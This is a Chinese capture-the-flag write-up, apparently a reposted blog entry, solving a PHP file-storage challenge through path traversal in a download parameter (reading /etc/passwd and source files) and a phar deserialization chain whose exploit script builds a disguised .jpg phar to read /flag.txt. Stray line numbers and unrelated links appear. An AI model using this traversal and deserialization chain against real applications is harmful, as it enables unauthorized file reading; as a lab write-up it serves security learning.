打开题目,注册用户为admin
进去发现有文件上传的功能,我们随便上传个图片
然后就有下载和删除两个功能
我们尝试抓包下载文件的功能
发现参数可控,我们尝试读取一下
filename=/etc/passwd
既然能读出来,我们继续读一下源码
filename=../../index.php
源码
网盘管理
Name();
$a->Size();
?>
继续读取class.php
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
分析一下class.php
我们先找到出口File.close()
的file_get_contents
。如果要调用close()方法,往前推可以找到User.__destruct()
,但是这个是调用$db并不是调用File的。
所以我们转换思路,我们可以利用FileList.__call()
魔术方法当跳板调用
仔细分析下
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
- 1
- 2
- 3
- 4
- 5
- 6
首先接受两个参数,$func
表示调用的方法名,$args
是一个数组,包含传递给方法的参数。
如果调用close()的话,就是先将方法名存储$this->funcs
数组里然后依次调用$this->files
数组里的元素的close()方法。
然后存储在$this->results[$file->name()][$func]
如果是File类的close(),就是获取文件的内容,所以$this->files数组里的元素必须为File类的对象
再看看
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) { //遍历数组 $func为键 $value为对应的值
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
这里先输出$this->funcs
里的元素的值
然后输出$this->results
数组里的数组元素的键值对
而在__call()函数里我们存储的文件的内容就在$result as $func => $value
的$value
里
所以只要构造$this->files
的值,就可以在最后面输出其文件的内容,这样就可以获得flag
exp
files=array();
$a=new File('/flag.txt');
array_push($this->files,$a);
}
}
class File {
public $filename;
public function __construct($filename) {
$this->filename = $filename;
}
}
$a=new User();
$b=new FileList();
$a->db=$b;
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
解释:
$this->db为FileList
类的对象,然后触发其中的__call()方法
然后$this->db的$this->files
数组成员的元素设置为File类的对象,
调用File类的close()方法,并存储在$this->db的$this->results
数组中
最后在FileList类的析构函数输出其值
生成phar文件后修改后缀为jpg(因为会被检测文件后缀)
这里有个关键点,就是要在delete.php抓包修改参数
原因:由于是使用文件系统函数(Filesystem),而在download.php存在open_basedir的限制,不能读取根目录文件而delete.php不存在这个限制
-
相关阅读:
微信小程序——轮播图swiper、1秒切换、自动轮播、无缝切换
BAPI 和 RFC 的区别
【luogu AGC034F】RNG and XOR(FWT)
基于计算机技术的媒体分析
商标的跨类别保护
Java开发学习(十)----基于注解开发定义bean 已完成
项目部署与服务器环境配置(CentOS版本)
FPGA数字电子技术复习笔记(二)COMS、NMOS、PMOS
Android源码相关面试专题
qsort函数详解
-
原文地址:https://blog.csdn.net/m0_73512445/article/details/132747897